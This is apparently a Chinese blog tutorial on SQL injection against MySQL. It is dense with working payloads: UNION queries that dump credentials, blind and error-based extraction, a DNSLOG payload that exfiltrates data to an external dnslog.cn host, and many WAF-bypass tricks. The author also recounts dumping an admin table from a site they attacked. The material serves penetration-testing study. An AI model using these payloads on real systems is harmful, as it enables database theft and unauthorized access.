目录
3.5.1 布尔盲注(Boolean-based Blind)
4.1.2 采用 like , rlike ,regexp 正则
4.2.1 替代函数:locate、position、instr
4.2.2 substring或者使用 left,right
4.3.2 采用from xx for xx, from(x)
4.4.1 使用&&、||,或者配合 like、if 逻辑替代
一、基础概念与背景
1.1 什么是SQL注入
SQL注入(SQL Injection)是一种代码注入攻击技术,攻击者利用应用程序对用户输入过滤不严的缺陷,将恶意的SQL语句片段插入到程序原本的查询中,从而欺骗数据库服务器执行非预期的SQL命令。其本质是:应用程序将用户输入的数据与SQL代码的边界混淆,导致数据被当作代码执行。


1.2 SQL注入的危害
- 数据泄露(脱库)
- 数据篡改/删除
- 绕过认证(万能密码)
- 服务器权限提升(通过数据库执行系统命令)
- 内网渗透跳板
1.3 Web请求与数据库交互流程
二、SQL注入原理深度剖析
2.1 SQL语句的基本结构
理解SQL注入,必须先熟悉SQL语句的基本骨架。攻击的本质就是将恶意片段“嫁接”到这些结构上。
查询语句:
SELECT 字段列表 FROM 表名 WHERE 条件表达式;
联合查询:
SELECT column1, column2 FROM tableA
UNION
SELECT column3, column4 FROM tableB;
注释符:
- 单行注释:--+ 或 #
- 多行注释:/*内容*/
注:SQL语句详细请看这三篇MySQL数据库
MySQL数据库基础1--未完待续:
MySQL数据库基础2--未完待续:
MySQL数据库基础3--(函数)完:
2.2 注入点产生原因
- 未过滤或过滤不严的用户输入
- 动态SQL拼接
- 错误信息暴露数据库结构
SQL 注入漏洞是怎么发生的?

2.3 注入点类型总览(按参数位置)
根据用户输入传输到服务器的位置,SQL注入点可以出现在HTTP请求的各个部分。
- GET型注入(URL参数):
通过URL查询字符串传递参数,攻击Payload直接在浏览器地址栏构造。
- POST型注入(表单/JSON/XML):
通过POST请求体传递,常见于登录、搜索、信息提交等场景。参数不在URL中,隐蔽性稍高,不易被直接窥探,但可通过Burp Suite等代理工具拦截和篡改。
- Cookie注入:
HTTP Cookie值由客户端保存并在每次请求时自动发送,后端脚本可能将Cookie值直接用于数据库查询(如记住登录状态、跟踪用户偏好)。
- HTTP头注入(User-Agent、Referer、X-Forwarded-For等):
服务器端可能记录访问日志,或根据请求头信息进行业务处理,如果这些头被直接拼入SQL,就产生注入点。常见头:
(1)User-Agent:浏览器标识,有的系统会存入数据库进行统计分析。
(2)Referer:来源地址,用于记录流量来源。
(3)X-Forwarded-For:客户端真实IP(通过代理时),很多应用以此获取用户IP并存储。

三、SQL注入分类(超详细)
3.1 SQL注入漏洞分类

3.2 如何判断是否存在SQL注入

3.3 判断存在SQL的常用步骤
字符型:(假如入有一篇 id=1 的文章,闭合查询语句前后单引号)
id=1' //报错 (程序无法正常从数据库中查询出数据,就会抛出异常)
id=1'+and+'1'='1 //页面有返回 (语句为真,语句执行正常,与原始页面无任何差异)
id=1'+and+'1'='2 //页面有返回 (语句为假,语句执行失败,与原始页面也有差异)
数字型:
id=1
id=1+and+1=1
id=1+and+1=2

注:快速的判断是数字型注入的方法(id=1/0,id=1/1(观察页面的变化))(四则运算)
3.4 SQL注入测试思路
- 判断是否存在注入
- 注入是字符型还是数字型
- 猜解当前数据库名
- 猜解数据库中的表名
- 猜解表中的字段名
- 猜解数据
常见注入方式:联合查询注入,布尔盲注(时间盲注),报错注入 ,堆叠注入 ,其他注入
3.5 按注入语法分类
3.5.1 布尔盲注(Boolean-based Blind)
当注入点没有直接数据回显,且错误信息被屏蔽,但应用程序会根据查询条件的真假返回两种明显不同的页面内容(如“用户存在”/“用户不存在”、“正常页面”/“空白页面”),攻击者即可利用这种二元差异,构造布尔条件,一个比特一个比特地猜解数据。盲注虽慢,但适用性极广,几乎不可见回显的注入点都能用此法攻克。
Payload结构:
' AND (条件) --+
' OR (条件) --+
将条件替换为对数据库信息的判断,如果条件为真,页面正常(或显示特定内容),条件为假则页面异常。通过不断改变条件,构建轮子枚举出数据。
常用函数(以MySQL为例)
- length(str):返回字符串长度,用于判断数据长度。
- substr(str, pos, len):截取子串,逐字符猜解。(同mid(str, pos, len))
- ascii(str):返回字符串最左字符的ascii码数值,与数字比较便于二分法加速。(同ord(str))
- left(str, len) / right(str, len):辅助使用。
如何使用?
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。



还可以根据返回字节的变化来判断。例如,正常情况下字节是:706,加单引号字节是:722。加两个单引号字节是:706。



根据为真时、为假时返回的不同页面,来得到想要的数据。使用截取函数substr爆破得到数据库名:security。

注:截取函数详细看这个
3.5.2 时间盲注(Time-based Blind)
比布尔盲注更极端:注入点既无数据回显,也无页面内容差异(无论查询真假,返回页面都一样)。此时攻击者通过引入延时函数,让数据库在条件为真时“暂停”指定的时间,条件为假时立即返回。通过测量响应时间差来推断条件真假。
Payload结构
' AND (条件) AND SLEEP(5) --+
' AND IF(条件, SLEEP(5), 0) --+
常用延时函数(以MySQL为例)
-
sleep(seconds):强制数据库暂停休眠几秒,页面明显变慢加载,判断语句是否执行成功。
' and sleep(3)--+ -
benchmark(count, expr):重复执行某条表达式很多次,拖慢运行速度。运行后页面卡顿延迟,达到延时效果。(count = 执行次数,expr = 要执行的语句)
' and benchmark(1000000,md5(123))--+
注:常用sleep()函数进行时间盲注
如何使用?
界面返回值只有一种true,无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数(sleep),通过查看web页面返回的时间差来判断注入的语句是否正确。



使用sleep函数:判断是否存在时间盲注。返回超过5秒,说明存在时间盲注。
1' and sleep(5)--+

配合if函数使用,测试此poc是否能够利用。可以看到条件成立与否响应的时间差,说明此poc有效。
1'and if(1=1,sleep(3),sleep(1))--+


使用截取函数substr爆破得到数据库名
1'and if(substr(database(),1,1)='u',sleep(3),sleep(1))--+

1、'and length((select database()))='8 判断当前数据库长度
2、and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))='29 判断所有表的长度
3、'and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))='20 判断users表中字段的长度
4、'and length((select concat(username,password) from security.users limit 7,1))='10 判断user表第八行数据总位数(username、password)
得到相应的长度后,使用bp爆破相应的数据
'and substr((select concat(username,password) from security.users limit 7,1),1,1)='a
3.5.3 报错注入(Error-based)
基于报错的SQL注入并非利用数据库本身的结构漏洞,而是通过构造特定的恶意SQL语句,迫使数据库执行非法操作并抛出错误,且将敏感数据携带在错误信息中返回给攻击者。当Web应用开启了详细错误显示时(例如PHP中display_errors = On,或数据库错误直接在前端回显),攻击者就能从报错页面中读取到原本无法直接查询的数据库内容。这类注入在页面没有正常数据回显、但存在详细错误信息时极为有效。
常用函数(以MySQL为例)
- extractvalue()
extractvalue(xml_frag, xpath_expr)
extractvalue() 是 MySQL 提供的 XML 处理函数,用于从 XML 片段 xml_frag 中提取符合 XPath 表达式 xpath_expr 的内容。
extractvalue() 的第二个参数必须是一个合法的 XPath 字符串。如果传入的内容不符合 XPath 语法,同时需要窃取的信息用 concat() 函数包裹一个不可能通过 XPath 校验的前缀(如 0x7e 即 ~)和注入查询,这样MySQL就会报错。
extractvalue(1,concat(0x7e,user()))
?id=1%27and%20extractvalue(1,concat(0x7e,user()))%20=%20%271
?id=1'and extractvalue(1,concat(0x7e,user())) = '1
注:%27为单引号(');%20为空格;0x7e为“~”。
- updatexml()
updatexml(xml_target, xpath_expr, new_xml)
updatexml() 是 MySQL 中用于更新 XML 文档的函数,功能是将 XML 片段 xml_target 中符合 XPath 表达式 xpath_expr 的部分替换为新值 new_xml,并返回更改后的 XML。、
updatexml() 在执行时会校验 xpath_expr 是否为合法的 XPath。如果传入的内容格式错误,需要利用 concat() 函数,将查询语句的结果与一个必定非法的前缀(如 0x7e,即波浪号 ~)拼接在一起,作为 xpath_expr 传入,数据库将拒绝执行并报错。
updatexml(1,concat(0x7e,user()),1)
?id=1%27and%20updatexml(1,concat(0x7e,user()),1)%20=%20%271
?id=1'and updatexml(1,concat(0x7e,user()),1) = '1
- GTID_SUBSET()
GTID_SUBSET() 是 MySQL 中一个与复制特性相关的函数。它除了本身的用途,也可以被攻击者用于基于报错的SQL注入。
SELECT GTID_SUBSET('set1_uuid:23', 'set2_uuid:21-57');
GTID_SUBSET() 在 MySQL 复制中用于比较两个全局事务标识符(GTID)集合。它的判断逻辑是:如果 set1 中的所有 GTID 都包含在 set2 中,就返回 true(1);如果任一参数为 NULL,则返回 NULL;否则,返回 false(0)。
'-GTID_SUBSET(user(),1)-'
?id=%27-GTID_SUBSET(user(),1)-%27
?id='-GTID_SUBSET(user(),1)-'
3.5.4 联合查询注入(UNION Query)
联合查询注入是 SQL 注入攻击中最为直观和常用的一种技术。其核心在于利用 SQL 的 UNION SELECT 操作符,将攻击者自行构造的查询结果拼接到应用程序原查询的结果集中,并借助网页上展示查询结果的位置(回显点)将敏感数据直接输出到客户端。这种攻击要求页面能显示出数据库查询返回的内容,需要知道原查询字段数、字段位置、输出点。
注入实施步骤:
(1)确定原查询的字段数(列数)
在拼接 UNION SELECT 之前,必须知道原查询选择了几个字段,因为 UNION 要求前后两部分查询的列数必须相同,否则数据库会直接报错。通常采用以下2种方式:
- 方法1:ORDER BY 二分法
利用 ORDER BY 子句对查询结果进行排序,若指定的列索引超出实际列数,数据库会报错。
' ORDER BY 1 -- 正常
' ORDER BY 2 -- 正常
' ORDER BY 3 -- 页面错误或无返回 → 原查询只有2个字段。
- 方法2:UNION SELECT NULL 递增法
逐步增加 NULL 的个数,直到不再产生“使用的 SELECT 语句具有不同列数”的报错。
' UNION SELECT NULL -- 错误
' UNION SELECT NULL, NULL -- 正常 → 说明列数为2。
(2)定位页面上的回显点
已知列数后,需要找出哪些列的值会被实际输出到页面中。用一系列可识别的标记(如数字)替换 UNION SELECT 中的 NULL,然后观察页面的回显位。
' UNION SELECT 1,2,3 --+
若页面中出现了 2 和 3,说明原查询的第2列和第3列会被展示,这两列即可作为数据输出点。
(3)利用回显点提取数据
找到回显列后,将子查询放入该位置即可窃取数据。
(3.1)查询所有数据库名
-1' UNION SELECT 1,database(),3 --+
(3.2)查询所有表名
-1' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database() --+
(3.3)查询列名(字段名)
-1' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users' --+
(3.4)提取敏感数据
-1' UNION SELECT 1, concat(username, 0x3a, password), 3 FROM users --+
distinct:用于返回唯一值(去掉重复)
-1'union select 1,2,count(distinct+table_schema) from+information_schema.tables--+
limit 1,1:查询1条数据,索引从1开始,第1条记录
如果回显位只显示一条记录,可改用limit逐条输出。
-1' union select table_name from information_schema.tables where table_schema='库名' limit 1
注:详细请看MySQL查询语句
重点:万能查询语句!
联合查询注入在使用order by确定字段数之后,使用union select找到回显位。在回显位替换查询语句,只需要换相应的数据库名,表名,字段名即可,这是万能查询语句收藏好!!第一种情况在限制页面回显位,限制只回显一位;多数情况使用第二种,可以爆出所有数据。
//如何查数据库
第一种:
select schema_name from information_schema.schemata limit 1
第二种:
select group_concat(schema_name) from information_schema.schemata
//如何查表
第一种:
select table_name from information_schema.tables where table_schema='数据库名' limit 1第二种:
select group_concat(table_name) from information_schema.tables where table_schema='数据库名'
//如何查字段
第一种;
select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 1第二种:
select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'
为了更好的理解举一个例子,这个是我打过的一个网站,后续把完整的流程发出来。
假如现在你已经找到存在SQL注入漏洞的页面了,使用order by确定了字段数,然后使用union select确定了回显位。
数据库名:
select group_concat(schema_name) from information_schema.schemata
结果:dami
数据库dami中的表名:
select group_concat(table_name) from information_schema.tables where table_schema=’dami’
结果:dami_admin
dami数据库,dami_admin表中字段名:
select group_concat(column_name) from information_schema.columns where table_schema=’dami’ and table_name=’dami_admin’
结果:username,password
dami_admin表,username,password字段中的数据:
select group_concat(username,password) from dami_admin
3.5.5 堆叠查询注入(Stacked Queries)
堆叠查询注入(Stacked Queries)是一种利用数据库驱动支持多条语句连续执行而实施的注入攻击。攻击者通过分号 ; 隔离,在原始 SQL 语句后附加任意新的 SQL 语句,使数据库在同一请求中逐条执行,从而实现对数据的增、删、改,甚至执行系统命令等破坏性操作。由于它不局限于原查询的类型和回显限制,危害远高于普通联合查询或布尔盲注,因此被列为最危险的注入手法之一。
插入数据,添加用户:
select * from users where id=1;insert into users(id,username,password) values (99,'xiaoming','xiaoming');

联合注入和堆叠注入的区别: 区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
3.6 其他特殊注入类型
3.6.1 二次注入(存储型注入)
二次注入又称存储型注入,攻击并非在用户输入被拼接到SQL语句的瞬间完成。其过程分为两步:
- 存储恶意数据:攻击者将构造的恶意Payload提交到应用,应用将其经过转义或过滤后安全地存入数据库。
- 二次解析触发:当该数据被其他功能取出并未经安全处理地拼接到新的SQL查询中时,先前存储的恶意代码被激活,触发注入。
由于第一次写入时数据被转义,单纯依靠输入过滤往往失效。核心在于开发者误认为从数据库取出的数据是“干净”的,从而直接拼接。
例:假设某网站注册时允许用户设置用户名为admin',应用使用了addslashes()转义,实际存入数据库的值为admin\'(反斜杠被转义,数据库存储的是转义后的字符串)。随后该用户名在修改密码功能中被取出并拼接SQL:
UPDATE users SET password='newpass' WHERE username='admin''
此时单引号闭合了之前的引号,导致SQL语法错误或注入。更典型的构造是:注册用户名为admin' --或admin'; UPDATE users SET password='hacked' WHERE '1'='1。在修改密码时拼接,导致任意密码修改或恶意操作。
3.6.2 宽字节注入
当数据库使用宽字节字符集且PHP等中间件开启了转义函数时,转义机制会在单引号、双引号等字符前添加反斜杠\,形成\'。所以我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' 。如果我们输入%df%27(%27就是单引符号会被转义成\' 也就是%5c%27),在后台%df会将%5c“吃掉”,组成一个汉字(%df%5c是一个汉字)。
?id=1%df' union select 1,2,3 --
3.6.3 UA注入
User-Agent是HTTP请求头中的一个字段,记录浏览器标识。许多应用会将用户的UA信息记录到数据库(如访问日志、用户登录日志),如果记录时直接拼接UA字符串,则构成SQL注入。
User-Agent: Mozilla/5.0' UNION SELECT 1,2,3,4,5 --
3.6.4 referer注入
Referer头记录了用户来源页面的URL。很多网站会统计访问来源并存入数据库,若处理不当即存在注入。攻击者通过修改请求中的Referer字段,插入SQL语句。
Referer: http://www.example.com' OR IF(1=1,SLEEP(5),0) --
3.6.5 DNSLOG外带
DNSLOG注入是一种带外通道(Out-of-Band) 技术,用于在无法通过页面回显或时间差判断时,将查询结果通过DNS请求带出到攻击者控制的服务器。
通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池 我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

(1)什么是UNC?
UNC是 Windows 系统中用于定位网络共享资源的路径格式。
\\ServerName\ShareName\Path\File
- \\ 双反斜杠开头,标识这是一个网络路径。
- ServerName 是目标主机名或 IP 地址。
- ShareName 是该主机上的共享文件夹名。
- Path\File 是共享文件夹下的具体子路径与文件。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:
\servername\sharename\directory\filename
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径。 //iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
(2)注入所需条件?
dns带外查询属于MySQL注入,在MySQL中有个系统属性 secure_file_priv特性,有三种状态:

LOAD_FILE()函数:读取一个文件并将其内容作为字符串返回。
load_file(file_name),其中file_name是文件的完整路径
OUTFILE (file_name):写文件。
不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。并且服务器要为Windows操作系统。
例:
# 查询当前用户名
1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
# 查看当前数据库名
1' and (select load_file(concat('\\\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+

3.6.6 cookie注入
Cookie 是网站存储在客户端浏览器中的小型数据,常用于会话管理、用户偏好记录和追踪。浏览器会在每次请求时自动附加相应的 Cookie。当后台应用程序直接将 Cookie 中的值取出并拼接到 SQL 语句中时,攻击者便可以通过修改 Cookie 植入恶意 SQL 片段。
正常 Cookie: user_id=1
user_id=1 UNION SELECT username, password FROM users WHERE '1'='1
四、突破WAF与过滤绕过
4.1 等号被过滤
4.1.1 使用 > ,< ,<> //大于,小于,不等于
and ascii(substr(database(),1,1))<>115
4.1.2 采用 like , rlike ,regexp 正则
and database() like 't%'
and database() rlike '^te'
and database() rlike 'te.*'
and database() regexp 'test.*'
and database() regexp '^test'
4.1.3 使用in、between 字符 and 字符
and database() in ('test')
and instr(database(),'t')in(1)
and substr(database(),1,1) BETWEEN 't' and 't'
4.2 substr/mid 截取函数被过滤
4.2.1 替代函数:locate、position、instr
and LOCATE('e',database())in('2')
and LOCATE('t',database(),4)in('4')
注:
locate(str1,str2)
返回str1字符串在str2里第一次出现的位置,没有返回0
Locate(str1,str2,pos)
返回str1字符串在str2里pos(起始位置)出现的位置,没有返回0
pos必须大于第一次出现的位置,才能显示第二次出现的位置


and position('t' in database())=1
用法与locate类似,返回str1字符串在str2出现的位置,没有返回0。

And instr(database(),'t')=1

4.2.2 substring或者使用 left,right
SELECT SUBSTRING('2025-08-01', 6, 2); -- 结果:08
SELECT SUBSTRING('abcdefg', 2, 4); -- 结果:bcde
SELECT RIGHT('2025-08-01', 2); -- 结果:01
SELECT RIGHT('abcdefg', 3); -- 结果:efg
SELECT LEFT('2025-08-01', 4); -- 结果:2025
SELECT LEFT('abcdefg', 3); -- 结果:abc
4.3 逗号“,”被过滤
4.3.1 采用%EF%BC%8C(URL 编码)
and substr(database()%EF%BC%8C1%EF%BC%8C)='1'
and substr(database(),1, )='1'

4.3.2 采用from xx for xx, from(x)
and substr(database()from 2 for 1)='e'

And substr('abcde' from 1)='test'

mid('abc',1,1)
mid('abc'from 1 for 1)
如果for也被过滤:
mid('abc' from -1) //结果:c
如果mid被过滤,使用substr或者substring:
substr('abc',1 , 1)
substr('abc'from 1 for 1)
4.3.3 其他
逗号被过滤时使用limit:
limit 0,1
limt 1 offset 0
union select 1,2,3;
union select * from (select 1)a join (select2)b join (select 3)c;
4.4 and/or被过滤
4.4.1 使用&&、||,或者配合 like、if 逻辑替代
&& substr(database(),1,1)='t'
|| substr(database(),1,1)='t'
注:在mysql中 and与or 是可以用 &&和||相互代替的
and 1=1 ->&& 1=1 or 1=1 ->||1=1
like+if(substr(database(),1,1)='s',1,0)='1--+(此处的like需要结合判断函数使用)
注:like只是用来闭合前面的语句, if 判断爆破当前数据库名的第一个字符是不是字母 s
如果页面返回正常 / 有数据 → 数据库名首字母是 s
如果页面返回错误 / 无数据 → 首字母不是 s
这是 SQL 注入里的布尔盲注。
4.5 空格被过滤
%09 ,%0a ,%0b, %0c ,%0d, %a0 ,%00,/**/,/*!select*/,--%0a
以上都可替代空格,如果上面的也全被过滤使用括号()。
id=-1'union(select(1),(select(ip_address)from(uagents)),3)--+
4.6 关键字被过滤
4.6.1 大小写绕过
User(),dAtaBASE(),SelEct等。
4.6.2 只过滤一次时,双重关键字绕过
selselectect,ununionion,oorr等。
4.6.3 and/or+空格被替换为空
andand+空格(oror+空格)绕过。
4.6.4 注释符绕过
//, -- , /**/, #, --+, -- -,;,%00,--a,/*!*/。
4.6.5 编码绕过
如URLEncode编码,ASCII,HEX,unicode编码等等......可以绕过

&spm=1001.2101.3001.5002&articleId=161233948&d=1&t=3&u=d58c15027a0d4e5ab6a254d0ffe47066)
4万+

被折叠的 条评论
为什么被折叠?



